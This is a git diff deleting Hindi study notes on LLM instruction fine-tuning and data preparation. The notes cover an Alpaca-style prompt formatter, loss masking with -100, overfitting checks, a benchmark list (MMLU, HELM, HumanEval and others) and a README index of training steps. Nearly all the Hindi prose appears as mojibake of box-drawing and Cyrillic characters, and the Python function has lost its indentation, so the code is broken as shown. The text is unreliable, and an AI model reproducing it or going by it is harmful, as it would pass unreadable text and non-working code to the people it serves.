рд╣реИ рдЙрд╕ рдбреЗрдЯрд╛ рдХреЛ рдЗрдЪреНрдЫрд┐рдд рдкреНрд░реЙрдореНрдкреНрдЯ рдкреНрд░рд╛рд░реВрдк рдореЗрдВ рдореЙрдбрд▓ рдХрд░рдирд╛, рдЬреИрд╕реЗ: -```python -# Code from https://github.com/rasbt/LLMs-from-scratch/blob/main/ch07/01_main-chapter-code/ch07.ipynb -def format_input(entry): -instruction_text = ( -f"Below is an instruction that describes a task. " -f"Write a response that appropriately completes the request." -f"\n\n### Instruction:\n{entry['instruction']}" -) - -input_text = f"\n\n### Input:\n{entry['input']}" if entry["input"] else "" - -return instruction_text + input_text - -model_input = format_input(data[50]) - -desired_response = f"\n\n### Response:\n{data[50]['output']}" - -print(model_input + desired_response) -``` -рдлрд┐рд░, рд╣рдореЗрд╢рд╛ рдХреА рддрд░рд╣, рдбреЗрдЯрд╛ рд╕реЗрдЯ рдХреЛ рдкреНрд░рд╢рд┐рдХреНрд╖рдг, рдорд╛рдиреНрдпрддрд╛ рдФрд░ рдкрд░реАрдХреНрд╖рдг рдХреЗ рд▓рд┐рдП рд╕реЗрдЯ рдореЗрдВ рд╡рд┐рднрд╛рдЬрд┐рдд рдХрд░рдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реИред - -## рдмреИрдЪрд┐рдВрдЧ рдФрд░ рдбреЗрдЯрд╛ рд▓реЛрдбрд░реНрд╕ - -рдлрд┐рд░, рдкреНрд░рд╢рд┐рдХреНрд╖рдг рдХреЗ рд▓рд┐рдП рд╕рднреА рдЗрдирдкреБрдЯ рдФрд░ рдЕрдкреЗрдХреНрд╖рд┐рдд рдЖрдЙрдЯрдкреБрдЯ рдХреЛ рдмреИрдЪ рдХрд░рдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реИред рдЗрд╕рдХреЗ рд▓рд┐рдП, рдпрд╣ рдЖрд╡рд╢реНрдпрдХ рд╣реИ: - -- рдкрд╛рда рдХреЛ рдЯреЛрдХрдирд╛рдЗрдЬрд╝ рдХрд░реЗрдВ -- рд╕рднреА рдирдореВрдиреЛрдВ рдХреЛ рд╕рдорд╛рди рд▓рдВрдмрд╛рдИ (рдЖрдорддреМрд░ рдкрд░ рд▓рдВрдмрд╛рдИ рдЙрд╕ рд╕рдВрджрд░реНрдн рдХреА рд▓рдВрдмрд╛рдИ рдХреЗ рд░реВрдк рдореЗрдВ рд╣реЛрдЧреА рдЬрд┐рд╕рдХрд╛ рдЙрдкрдпреЛрдЧ LLM рдХреЛ рдкреВрд░реНрд╡-рдкреНрд░рд╢рд┐рдХреНрд╖рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛) рддрдХ рдкреИрдб рдХрд░реЗрдВ -- рдПрдХ рдХрд╕реНрдЯрдо рдХреЛрд▓реЗрдЯ рдлрд╝рдВрдХреНрд╢рди рдореЗрдВ рдЗрдирдкреБрдЯ рдХреЛ 1 рд╕реНрдерд╛рдирд╛рдВрддрд░рд┐рдд рдХрд░рдХреЗ рдЕрдкреЗрдХреНрд╖рд┐рдд рдЯреЛрдХрди рдмрдирд╛рдПрдВ -- рдкреНрд░рд╢рд┐рдХреНрд╖рдг рд╣рд╛рдирд┐ рд╕реЗ рдЙрдиреНрд╣реЗрдВ рдмрд╛рд╣рд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреБрдЫ рдкреИрдбрд┐рдВрдЧ рдЯреЛрдХрди рдХреЛ -100 рд╕реЗ рдмрджрд▓реЗрдВ: рдкрд╣рд▓реЗ `endoftext` рдЯреЛрдХрди рдХреЗ рдмрд╛рдж, рд╕рднреА рдЕрдиреНрдп `endoftext` рдЯреЛрдХрди рдХреЛ -100 рд╕реЗ рдкреНрд░рддрд┐рд╕реНрдерд╛рдкрд┐рдд рдХрд░реЗрдВ (рдХреНрдпреЛрдВрдХрд┐ `cross_entropy(...,ignore_index=-100)` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХрд╛ рдЕрд░реНрде рд╣реИ рдХрд┐ рдпрд╣ -100 рд╡рд╛рд▓реЗ рд▓рдХреНрд╖реНрдпреЛрдВ рдХреЛ рдЕрдирджреЗрдЦрд╛ рдХрд░реЗрдЧрд╛) -- \[рд╡реИрдХрд▓реНрдкрд┐рдХ\] -100 рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдкреНрд░рд╢реНрди рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рд╕рднреА рдЯреЛрдХрдиреЛрдВ рдХреЛ рднреА рдорд╛рд╕реНрдХ рдХрд░реЗрдВ рддрд╛рдХрд┐ LLM рдХреЗрд╡рд▓ рдЙрддреНрддрд░ рдЙрддреНрдкрдиреНрди рдХрд░рдирд╛ рд╕реАрдЦреЗред Apply Alpaca рд╢реИрд▓реА рдореЗрдВ рдЗрд╕рдХрд╛ рдЕрд░реНрде рд╣реЛрдЧрд╛ `### Response:` рддрдХ рд╕рдм рдХреБрдЫ рдорд╛рд╕реНрдХ рдХрд░рдирд╛ред - -рдпрд╣ рдмрдирд╛рдиреЗ рдХреЗ рдмрд╛рдж, рдкреНрд░рддреНрдпреЗрдХ рдбреЗрдЯрд╛ рд╕реЗрдЯ (рдкреНрд░рд╢рд┐рдХреНрд╖рдг, рдорд╛рдиреНрдпрддрд╛ рдФрд░ рдкрд░реАрдХреНрд╖рдг) рдХреЗ рд▓рд┐рдП рдбреЗрдЯрд╛ рд▓реЛрдбрд░реНрд╕ рдмрдирд╛рдиреЗ рдХрд╛ рд╕рдордп рд╣реИред - -## рдкреВрд░реНрд╡-рдкреНрд░рд╢рд┐рдХреНрд╖рд┐рдд LLM рд▓реЛрдб рдХрд░реЗрдВ рдФрд░ рдлрд╛рдЗрди рдЯреНрдпреВрди рдХрд░реЗрдВ рдФрд░ рд╣рд╛рдирд┐ рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВ - -рдЗрд╕реЗ рдлрд╛рдЗрди рдЯреНрдпреВрди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдкреВрд░реНрд╡-рдкреНрд░рд╢рд┐рдХреНрд╖рд┐рдд LLM рд▓реЛрдб рдХрд░рдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реИред рдпрд╣ рдкрд╣рд▓реЗ рд╣реА рдЕрдиреНрдп рдкреГрд╖реНрдареЛрдВ рдкрд░ рдЪрд░реНрдЪрд╛ рдХреА рдЬрд╛ рдЪреБрдХреА рд╣реИред рдлрд┐рд░, LLM рдХреЛ рдлрд╛рдЗрди рдЯреНрдпреВрди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкрд╣рд▓реЗ рд╕реЗ рдЙрдкрдпреЛрдЧ рдХреА рдЧрдИ рдкреНрд░рд╢рд┐рдХреНрд╖рдг рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИред - -рдкреНрд░рд╢рд┐рдХреНрд╖рдг рдХреЗ рджреМрд░рд╛рди рдпрд╣ рднреА рд╕рдВрднрд╡ рд╣реИ рдХрд┐ рдпрд╣ рджреЗрдЦрд╛ рдЬрд╛ рд╕рдХреЗ рдХрд┐ рдкреНрд░рд╢рд┐рдХреНрд╖рдг рд╣рд╛рдирд┐ рдФрд░ рдорд╛рдиреНрдпрддрд╛ рд╣рд╛рдирд┐ рдХреИрд╕реЗ рдпреБрдЧреЛрдВ рдХреЗ рджреМрд░рд╛рди рднрд┐рдиреНрди рд╣реЛрддреА рд╣реИ рддрд╛рдХрд┐ рдпрд╣ рджреЗрдЦрд╛ рдЬрд╛ рд╕рдХреЗ рдХрд┐ рд╣рд╛рдирд┐ рдХрдо рд╣реЛ рд░рд╣реА рд╣реИ рдФрд░ рдХреНрдпрд╛ рдУрд╡рд░рдлрд┐рдЯрд┐рдВрдЧ рд╣реЛ рд░рд╣реА рд╣реИред\ -рдпрд╛рдж рд░рдЦреЗрдВ рдХрд┐ рдУрд╡рд░рдлрд┐рдЯрд┐рдВрдЧ рддрдм рд╣реЛрддреА рд╣реИ рдЬрдм рдкреНрд░рд╢рд┐рдХреНрд╖рдг рд╣рд╛рдирд┐ рдХрдо рд╣реЛ рд░рд╣реА рд╣реИ рд▓реЗрдХрд┐рди рдорд╛рдиреНрдпрддрд╛ рд╣рд╛рдирд┐ рдХрдо рдирд╣реАрдВ рд╣реЛ рд░рд╣реА рд╣реИ рдпрд╛ рдпрд╣рд╛рдВ рддрдХ рдХрд┐ рдмрдврд╝ рд░рд╣реА рд╣реИред рдЗрд╕реЗ рд░реЛрдХрдиреЗ рдХреЗ рд▓рд┐рдП, рд╕рдмрд╕реЗ рд╕рд░рд▓ рдмрд╛рдд рдпрд╣ рд╣реИ рдХрд┐ рдЙрд╕ рдпреБрдЧ рдореЗрдВ рдкреНрд░рд╢рд┐рдХреНрд╖рдг рдХреЛ рд░реЛрдХ рджреЗрдВ рдЬрд╣рд╛рдВ рдпрд╣ рд╡реНрдпрд╡рд╣рд╛рд░ рд╢реБрд░реВ рд╣реЛрддрд╛ рд╣реИред - -## рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдЧреБрдгрд╡рддреНрддрд╛ - -рдЪреВрдВрдХрд┐ рдпрд╣ рдПрдХ рд╡рд░реНрдЧреАрдХрд░рдг рдлрд╛рдЗрди-рдЯреНрдпреВрди рдирд╣реАрдВ рд╣реИ рдЬрд╣рд╛рдВ рд╣рд╛рдирд┐ рдХреЗ рдЙрддрд╛рд░-рдЪрдврд╝рд╛рд╡ рдкрд░ рдЕрдзрд┐рдХ рднрд░реЛрд╕рд╛ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП рдкрд░реАрдХреНрд╖рдг рд╕реЗрдЯ рдореЗрдВ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреА рдЧреБрдгрд╡рддреНрддрд╛ рдХреА рдЬрд╛рдВрдЪ рдХрд░рдирд╛ рднреА рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИред рдЗрд╕рд▓рд┐рдП, рд╕рднреА рдкрд░реАрдХреНрд╖рдг рд╕реЗрдЯ рд╕реЗ рдЙрддреНрдкрдиреНрди рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЛ рдЗрдХрдЯреНрдард╛ рдХрд░рдирд╛ рдФрд░ **рдЙрдирдХреА рдЧреБрдгрд╡рддреНрддрд╛ рдХреЛ рдореИрдиреНрдпреБрдЕрд▓ рд░реВрдк рд╕реЗ рдЬрд╛рдВрдЪрдирд╛** рдЕрдиреБрд╢рдВрд╕рд┐рдд рд╣реИ рддрд╛рдХрд┐ рдпрд╣ рджреЗрдЦрд╛ рдЬрд╛ рд╕рдХреЗ рдХрд┐ рдХреНрдпрд╛ рдЧрд▓рдд рдЙрддреНрддрд░ рд╣реИрдВ (рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ LLM рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рд╡рд╛рдХреНрдп рдХреЗ рдкреНрд░рд╛рд░реВрдк рдФрд░ рд╡рд╛рдХреНрдпрд╡рд┐рдиреНрдпрд╛рд╕ рдХреЛ рд╕рд╣реА рдврдВрдЧ рд╕реЗ рдмрдирд╛ рд╕рдХрддрд╛ рд╣реИ рд▓реЗрдХрд┐рди рдкреВрд░реА рддрд░рд╣ рд╕реЗ рдЧрд▓рдд рдЙрддреНрддрд░ рджреЗ рд╕рдХрддрд╛ рд╣реИред рд╣рд╛рдирд┐ рдХрд╛ рдЙрддрд╛рд░-рдЪрдврд╝рд╛рд╡ рдЗрд╕ рд╡реНрдпрд╡рд╣рд╛рд░ рдХреЛ рдирд╣реАрдВ рджрд░реНрд╢рд╛рдПрдЧрд╛)ред\ -рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдпрд╣ рд╕рдореАрдХреНрд╖рд╛ рдЙрддреНрдкрдиреНрди рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛рдУрдВ рдФрд░ рдЕрдкреЗрдХреНрд╖рд┐рдд рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЛ **рдЕрдиреНрдп LLMs рдХреЛ рдкрд╛рд╕ рдХрд░рдХреЗ рдФрд░ рдЙрдирд╕реЗ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛рдУрдВ рдХрд╛ рдореВрд▓реНрдпрд╛рдВрдХрди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд╣рдХрд░** рднреА рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИред - -рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреА рдЧреБрдгрд╡рддреНрддрд╛ рдХреА рдкреБрд╖реНрдЯрд┐ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЪрд▓рд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдЕрдиреНрдп рдкрд░реАрдХреНрд╖рдг: - -1. **рдорд╛рд╕рд┐рд╡ рдорд▓реНрдЯреАрдЯрд╛рд╕реНрдХ рд▓реИрдВрдЧреНрд╡реЗрдЬ рдЕрдВрдбрд░рд╕реНрдЯреИрдВрдбрд┐рдВрдЧ (**[**MMLU**](https://arxiv.org/abs/2009.03300)**):** MMLU 57 рд╡рд┐рд╖рдпреЛрдВ рдореЗрдВ рдПрдХ рдореЙрдбрд▓ рдХреЗ рдЬреНрдЮрд╛рди рдФрд░ рд╕рдорд╕реНрдпрд╛-рд╕рдорд╛рдзрд╛рди рдХреНрд╖рдорддрд╛рдУрдВ рдХрд╛ рдореВрд▓реНрдпрд╛рдВрдХрди рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ рдорд╛рдирд╡рд┐рдХреА, рд╡рд┐рдЬреНрдЮрд╛рди рдФрд░ рдЕрдзрд┐рдХ рд╢рд╛рдорд┐рд▓ рд╣реИрдВред рдпрд╣ рд╡рд┐рднрд┐рдиреНрди рдХрдард┐рдирд╛рдИ рд╕реНрддрд░реЛрдВ рдкрд░ рд╕рдордЭ рдХрд╛ рдЖрдХрд▓рди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдмрд╣реБрд╡рд┐рдХрд▓реНрдкреАрдп рдкреНрд░рд╢реНрдиреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ, рдкреНрд░рд╛рд░рдВрднрд┐рдХ рд╕реЗ рд▓реЗрдХрд░ рдЙрдиреНрдирдд рдкреЗрд╢реЗрд╡рд░ рддрдХред -2. [**LMSYS рдЪреИрдЯрдмреЙрдЯ рдПрд░рд┐рдирд╛**](https://arena.lmsys.org): рдпрд╣ рдкреНрд▓реЗрдЯрдлрд╝реЙрд░реНрдо рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рд╡рд┐рднрд┐рдиреНрди рдЪреИрдЯрдмреЙрдЯреНрд╕ рдХреА рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреА рддреБрд▓рдирд╛ рдПрдХ рд╕рд╛рде рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдПрдХ рдкреНрд░реЙрдореНрдкреНрдЯ рдЗрдирдкреБрдЯ рдХрд░рддреЗ рд╣реИрдВ, рдФрд░ рдХрдИ рдЪреИрдЯрдмреЙрдЯреНрд╕ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛рдПрдБ рдЙрддреНрдкрдиреНрди рдХрд░рддреЗ рд╣реИрдВ рдЬрд┐рдиреНрд╣реЗрдВ рд╕реАрдзреЗ рддреБрд▓рдирд╛ рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИред -3. [**AlpacaEval**](https://github.com/tatsu-lab/alpaca_eval)**:** AlpacaEval рдПрдХ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдореВрд▓реНрдпрд╛рдВрдХрди рдврд╛рдВрдЪрд╛ рд╣реИ рдЬрд╣рд╛рдВ рдПрдХ рдЙрдиреНрдирдд LLM рдЬреИрд╕реЗ GPT-4 рд╡рд┐рднрд┐рдиреНрди рдкреНрд░реЙрдореНрдкреНрдЯреНрд╕ рдХреЗ рд▓рд┐рдП рдЕрдиреНрдп рдореЙрдбрд▓реЛрдВ рдХреА рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛рдУрдВ рдХрд╛ рдореВрд▓реНрдпрд╛рдВрдХрди рдХрд░рддрд╛ рд╣реИред -4. **рдЬрдирд░рд▓ рд▓реИрдВрдЧреНрд╡реЗрдЬ рдЕрдВрдбрд░рд╕реНрдЯреИрдВрдбрд┐рдВрдЧ рдореВрд▓реНрдпрд╛рдВрдХрди (**[**GLUE**](https://gluebenchmark.com/)**):** GLUE рдиреМ рдкреНрд░рд╛рдХреГрддрд┐рдХ рднрд╛рд╖рд╛ рд╕рдордЭ рдХрд╛рд░реНрдпреЛрдВ рдХрд╛ рдПрдХ рд╕рдВрдЧреНрд░рд╣ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ рднрд╛рд╡рдирд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг, рдкрд╛рда рд╕рдВрдмрдВрдз рдФрд░ рдкреНрд░рд╢реНрди рдЙрддреНрддрд░ рд╢рд╛рдорд┐рд▓ рд╣реИрдВред -5. [**SuperGLUE**](https://super.gluebenchmark.com/)**:** GLUE рдкрд░ рдЖрдзрд╛рд░рд┐рдд, SuperGLUE рдореЗрдВ рдЕрдзрд┐рдХ рдЪреБрдиреМрддреАрдкреВрд░реНрдг рдХрд╛рд░реНрдп рд╢рд╛рдорд┐рд▓ рд╣реИрдВ рдЬреЛ рд╡рд░реНрддрдорд╛рди рдореЙрдбрд▓реЛрдВ рдХреЗ рд▓рд┐рдП рдХрдард┐рди рд╣реЛрдиреЗ рдХреЗ рд▓рд┐рдП рдбрд┐рдЬрд╝рд╛рдЗрди рдХрд┐рдП рдЧрдП рд╣реИрдВред -6. **рдЗрдорд┐рдЯреЗрд╢рди рдЧреЗрдо рдмреЗрдВрдЪрдорд╛рд░реНрдХ рдХреЗ рдкрд░реЗ (**[**BIG-bench**](https://github.com/google/BIG-bench)**):** BIG-bench рдПрдХ рдмрдбрд╝реЗ рдкреИрдорд╛рдиреЗ рдкрд░ рдмреЗрдВрдЪрдорд╛рд░реНрдХ рд╣реИ рдЬрд┐рд╕рдореЗрдВ 200 рд╕реЗ рдЕрдзрд┐рдХ рдХрд╛рд░реНрдп рд╣реИрдВ рдЬреЛ рдПрдХ рдореЙрдбрд▓ рдХреА рдХреНрд╖рдорддрд╛рдУрдВ рдХрд╛ рдкрд░реАрдХреНрд╖рдг рдХрд░рддреЗ рд╣реИрдВ рдЬреИрд╕реЗ рддрд░реНрдХ, рдЕрдиреБрд╡рд╛рдж, рдФрд░ рдкреНрд░рд╢реНрди рдЙрддреНрддрд░ред -7. **рднрд╛рд╖рд╛ рдореЙрдбрд▓реЛрдВ рдХрд╛ рд╕рдордЧреНрд░ рдореВрд▓реНрдпрд╛рдВрдХрди (**[**HELM**](https://crfm.stanford.edu/helm/lite/latest/)**):** HELM рд╡рд┐рднрд┐рдиреНрди рдореЗрдЯреНрд░рд┐рдХреНрд╕ рдЬреИрд╕реЗ рд╕рдЯреАрдХрддрд╛, robustness, рдФрд░ рдирд┐рд╖реНрдкрдХреНрд╖рддрд╛ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдПрдХ рд╡реНрдпрд╛рдкрдХ рдореВрд▓реНрдпрд╛рдВрдХрди рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред -8. [**OpenAI Evals**](https://github.com/openai/evals)**:** OpenAI рджреНрд╡рд╛рд░рд╛ рдПрдХ рдУрдкрди-рд╕реЛрд░реНрд╕ рдореВрд▓реНрдпрд╛рдВрдХрди рдврд╛рдВрдЪрд╛ рдЬреЛ рдХрд╕реНрдЯрдо рдФрд░ рдорд╛рдирдХреАрдХреГрдд рдХрд╛рд░реНрдпреЛрдВ рдкрд░ AI рдореЙрдбрд▓реЛрдВ рдХрд╛ рдкрд░реАрдХреНрд╖рдг рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред -9. [**HumanEval**](https://github.com/openai/human-eval)**:** рдкреНрд░реЛрдЧреНрд░рд╛рдорд┐рдВрдЧ рд╕рдорд╕реНрдпрд╛рдУрдВ рдХрд╛ рдПрдХ рд╕рдВрдЧреНрд░рд╣ рдЬрд┐рд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рднрд╛рд╖рд╛ рдореЙрдбрд▓реЛрдВ рдХреА рдХреЛрдб рдЬрдирд░реЗрд╢рди рдХреНрд╖рдорддрд╛рдУрдВ рдХрд╛ рдореВрд▓реНрдпрд╛рдВрдХрди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред -10. **рд╕реНрдЯреИрдирдлреЛрд░реНрдб рдкреНрд░рд╢реНрди рдЙрддреНрддрд░рд┐рдВрдЧ рдбреЗрдЯрд╛рд╕реЗрдЯ (**[**SQuAD**](https://rajpurkar.github.io/SQuAD-explorer/)**):** SQuAD рдореЗрдВ рд╡рд┐рдХрд┐рдкреАрдбрд┐рдпрд╛ рд▓реЗрдЦреЛрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдкреНрд░рд╢реНрди рд╣реЛрддреЗ рд╣реИрдВ, рдЬрд╣рд╛рдВ рдореЙрдбрд▓реЛрдВ рдХреЛ рд╕рдЯреАрдХ рдЙрддреНрддрд░ рджреЗрдиреЗ рдХреЗ рд▓рд┐рдП рдкрд╛рда рдХреЛ рд╕рдордЭрдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реИред -11. [**TriviaQA**](https://nlp.cs.washington.edu/triviaqa/)**:** рдЯреНрд░рд┐рд╡рд┐рдпрд╛ рдкреНрд░рд╢реНрдиреЛрдВ рдФрд░ рдЙрддреНрддрд░реЛрдВ рдХрд╛ рдПрдХ рдмрдбрд╝реЗ рдкреИрдорд╛рдиреЗ рдкрд░ рдбреЗрдЯрд╛рд╕реЗрдЯ, рд╕рд╛рде рд╣реА рд╕рд╛рдХреНрд╖реНрдп рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ред - -рдФрд░ рдХрдИ рдФрд░ - -## рдирд┐рд░реНрджреЗрд╢реЛрдВ рдХрд╛ рдкрд╛рд▓рди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдлрд╛рдЗрди-рдЯреНрдпреВрдирд┐рдВрдЧ рдХреЛрдб - -рдЖрдк рдЗрд╕ рдлрд╛рдЗрди рдЯреНрдпреВрдирд┐рдВрдЧ рдХреЛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреЛрдб рдХрд╛ рдПрдХ рдЙрджрд╛рд╣рд░рдг [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch07/01_main-chapter-code/gpt_instruction_finetuning.py](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch07/01_main-chapter-code/gpt_instruction_finetuning.py) рдкрд░ рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВред - -## рд╕рдВрджрд░реНрдн - -- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch) diff --git a/src/todo/llm-training-data-preparation/README.md b/src/todo/llm-training-data-preparation/README.md deleted file mode 100644 index 042a8d53e..000000000 --- a/src/todo/llm-training-data-preparation/README.md +++ /dev/null @@ -1,98 +0,0 @@ -# LLM Training - Data Preparation - -**рдпреЗ рдореЗрд░реА рдиреЛрдЯреНрд╕ рд╣реИрдВ рдмрд╣реБрдд рд╣реА рдЕрдиреБрд╢рдВрд╕рд┐рдд рдХрд┐рддрд╛рдм рд╕реЗ** [**https://www.manning.com/books/build-a-large-language-model-from-scratch**](https://www.manning.com/books/build-a-large-language-model-from-scratch) **рдХреБрдЫ рдЕрддрд┐рд░рд┐рдХреНрдд рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд╕рд╛рдеред** - -## Basic Information - -рдЖрдкрдХреЛ рдХреБрдЫ рдмреБрдирд┐рдпрд╛рджреА рдЕрд╡рдзрд╛рд░рдгрд╛рдУрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рдирдиреЗ рдХреЗ рд▓рд┐рдП рдЗрд╕ рдкреЛрд╕реНрдЯ рдХреЛ рдкрдврд╝рдирд╛ рдЪрд╛рд╣рд┐рдП: - -{{#ref}} -0.-basic-llm-concepts.md -{{#endref}} - -## 1. Tokenization - -> [!TIP] -> рдЗрд╕ рдкреНрд░рд╛рд░рдВрднрд┐рдХ рдЪрд░рдг рдХрд╛ рд▓рдХреНрд╖реНрдп рдмрд╣реБрдд рд╕рд░рд▓ рд╣реИ: **рдЗрдирдкреБрдЯ рдХреЛ рдХреБрдЫ рдЗрд╕ рддрд░рд╣ рд╕реЗ рдЯреЛрдХрди (ids) рдореЗрдВ рд╡рд┐рднрд╛рдЬрд┐рдд рдХрд░реЗрдВ рдЬреЛ рд╕рдордЭ рдореЗрдВ рдЖрдПред** - -{{#ref}} -1.-tokenizing.md -{{#endref}} - -## 2. Data Sampling - -> [!TIP] -> рдЗрд╕ рджреВрд╕рд░реЗ рдЪрд░рдг рдХрд╛ рд▓рдХреНрд╖реНрдп рдмрд╣реБрдд рд╕рд░рд▓ рд╣реИ: **рдЗрдирдкреБрдЯ рдбреЗрдЯрд╛ рдХрд╛ рд╕реИрдВрдкрд▓ рд▓реЗрдВ рдФрд░ рдЗрд╕реЗ рдкреНрд░рд╢рд┐рдХреНрд╖рдг рдЪрд░рдг рдХреЗ рд▓рд┐рдП рддреИрдпрд╛рд░ рдХрд░реЗрдВ, рдЖрдорддреМрд░ рдкрд░ рдбреЗрдЯрд╛рд╕реЗрдЯ рдХреЛ рдПрдХ рд╡рд┐рд╢рд┐рд╖реНрдЯ рд▓рдВрдмрд╛рдИ рдХреЗ рд╡рд╛рдХреНрдпреЛрдВ рдореЗрдВ рд╡рд┐рднрд╛рдЬрд┐рдд рдХрд░рдХреЗ рдФрд░ рдЕрдкреЗрдХреНрд╖рд┐рдд рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рднреА рдЙрддреНрдкрдиреНрди рдХрд░рдХреЗред** - -{{#ref}} -2.-data-sampling.md -{{#endref}} - -## 3. Token Embeddings - -> [!TIP] -> рдЗрд╕ рддреАрд╕рд░реЗ рдЪрд░рдг рдХрд╛ рд▓рдХреНрд╖реНрдп рдмрд╣реБрдд рд╕рд░рд▓ рд╣реИ: **рд╢рдмреНрджрдХреЛрд╢ рдореЗрдВ рдкрд┐рдЫрд▓реЗ рдЯреЛрдХрдиреЛрдВ рдореЗрдВ рд╕реЗ рдкреНрд░рддреНрдпреЗрдХ рдХреЛ рдореЙрдбрд▓ рдХреЛ рдкреНрд░рд╢рд┐рдХреНрд╖рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЗрдЪреНрдЫрд┐рдд рдЖрдпрд╛рдореЛрдВ рдХрд╛ рдПрдХ рд╡реЗрдХреНрдЯрд░ рд╕реМрдВрдкреЗрдВред** рд╢рдмреНрджрдХреЛрд╢ рдореЗрдВ рдкреНрд░рддреНрдпреЗрдХ рд╢рдмреНрдж X рдЖрдпрд╛рдореЛрдВ рдХреЗ рдПрдХ рд╕реНрдерд╛рди рдореЗрдВ рдПрдХ рдмрд┐рдВрджреБ рд╣реЛрдЧрд╛ред\ -> рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдкреНрд░рд╛рд░рдВрдн рдореЗрдВ рдкреНрд░рддреНрдпреЗрдХ рд╢рдмреНрдж рдХреА рд╕реНрдерд┐рддрд┐ "рдпрд╛рджреГрдЪреНрдЫрд┐рдХ" рд░реВрдк рд╕реЗ рдкреНрд░рд╛рд░рдВрдн рдХреА рдЬрд╛рддреА рд╣реИ рдФрд░ рдпреЗ рд╕реНрдерд┐рддрд┐рдпрд╛рдБ рдкреНрд░рд╢рд┐рдХреНрд╖рд┐рдд рдХрд░рдиреЗ рдпреЛрдЧреНрдп рдкреИрд░рд╛рдореАрдЯрд░ рд╣реИрдВ (рдкреНрд░рд╢рд┐рдХреНрд╖рдг рдХреЗ рджреМрд░рд╛рди рд╕реБрдзрд╛рд░рд┐рдд рд╣реЛрдВрдЧреА)ред -> -> рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдЯреЛрдХрди рдПрдореНрдмреЗрдбрд┐рдВрдЧ рдХреЗ рджреМрд░рд╛рди **рдПрдХ рдФрд░ рдПрдореНрдмреЗрдбрд┐рдВрдЧ рдкрд░рдд рдмрдирд╛рдИ рдЬрд╛рддреА рд╣реИ** рдЬреЛ (рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ) **рдкреНрд░рд╢рд┐рдХреНрд╖рдг рд╡рд╛рдХреНрдп рдореЗрдВ рд╢рдмреНрдж рдХреА рдкреВрд░реНрдг рд╕реНрдерд┐рддрд┐ рдХрд╛ рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдХрд░рддреА рд╣реИред** рдЗрд╕ рддрд░рд╣ 